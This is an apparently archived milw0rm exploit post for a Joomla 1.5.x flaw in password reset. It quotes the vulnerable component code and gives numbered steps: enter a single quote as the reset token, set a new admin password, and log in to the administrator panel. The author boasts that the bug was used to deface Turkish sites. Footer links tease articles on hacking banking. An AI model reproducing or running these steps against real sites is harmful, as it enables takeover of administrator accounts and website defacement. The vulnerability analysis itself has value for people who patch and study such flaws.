#####################################################################################
#### Joomla 1.5.x Remote Admin Password Change ####
#####################################################################################
# #
# Author: d3m0n (d3m0n@o2.pl) #
# Greets: GregStar, gorion, d3d!k #
# #
# Polish “hackers” used this bug to deface turkish sites BUAHAHHA nice 0-day pff #
# #
#####################################################################################

File : /components/com_user/controller.php

#####################################################################################
Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( ‘Invalid Token’ );

// Get the input
$token = JRequest::getVar(‘token’, null, ‘post’, ‘alnum’); < --- {1} // Get the model
$model = &$this->getModel(‘Reset’);

// Verify the token
if ($model->confirmReset($token) === false) < --- {2}
{
$message = JText::sprintf(‘PASSWORD_RESET_CONFIRMATION_FAILED’, $model->getError());
$this->setRedirect(‘index.php?option=com_user&view=reset&layout=confirm’, $message);
return false;
}

$this->setRedirect(‘index.php?option=com_user&view=reset&layout=complete’);
}

#####################################################################################

File : /components/com_user/models/reset.php

Line: 111-130

function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery(‘SELECT id FROM #__users WHERE block = 0 AND activation = ‘.$db->Quote($token)); < ---- {3} // Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_(‘INVALID_TOKEN’));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.’token’, $token);
$mainframe->setUserState($this->_namespace.’id’, $id);

return true;
}
#####################################################################################

{1} – Replace ‘ with empty char
{3} – If you enter ‘ in token field then query will be looks like : “SELECT id FROM jos_users WHERE block = 0 AND activation = ” “

Example :

1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field “token” char ‘ and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

# milw0rm.com [2008-08-12]

Explore More

Hacking Banking

Here is process for hacking online banking and credit cards transactions and also a process to prevent from them . The Scenario You go to a coffee shop for a

Read More

Is your IP Leaking? Find out here

The first link shows your IP.http://www.whatismyip.com/This site will show more information like your town…http://www.geobytes.com/IpLocator.htm?GetLocationIf you pass this test your Proxys / Programs are doing their job…https://grc.com/x/ne.dll?bh0bkyd2 Privacy Check – checks

Read More

Hacking

Hacking is an unauthorized access of computers and networks. It is the act of piercing computer systems gaining knowledge of the systems and the learning of how it works. The

Read More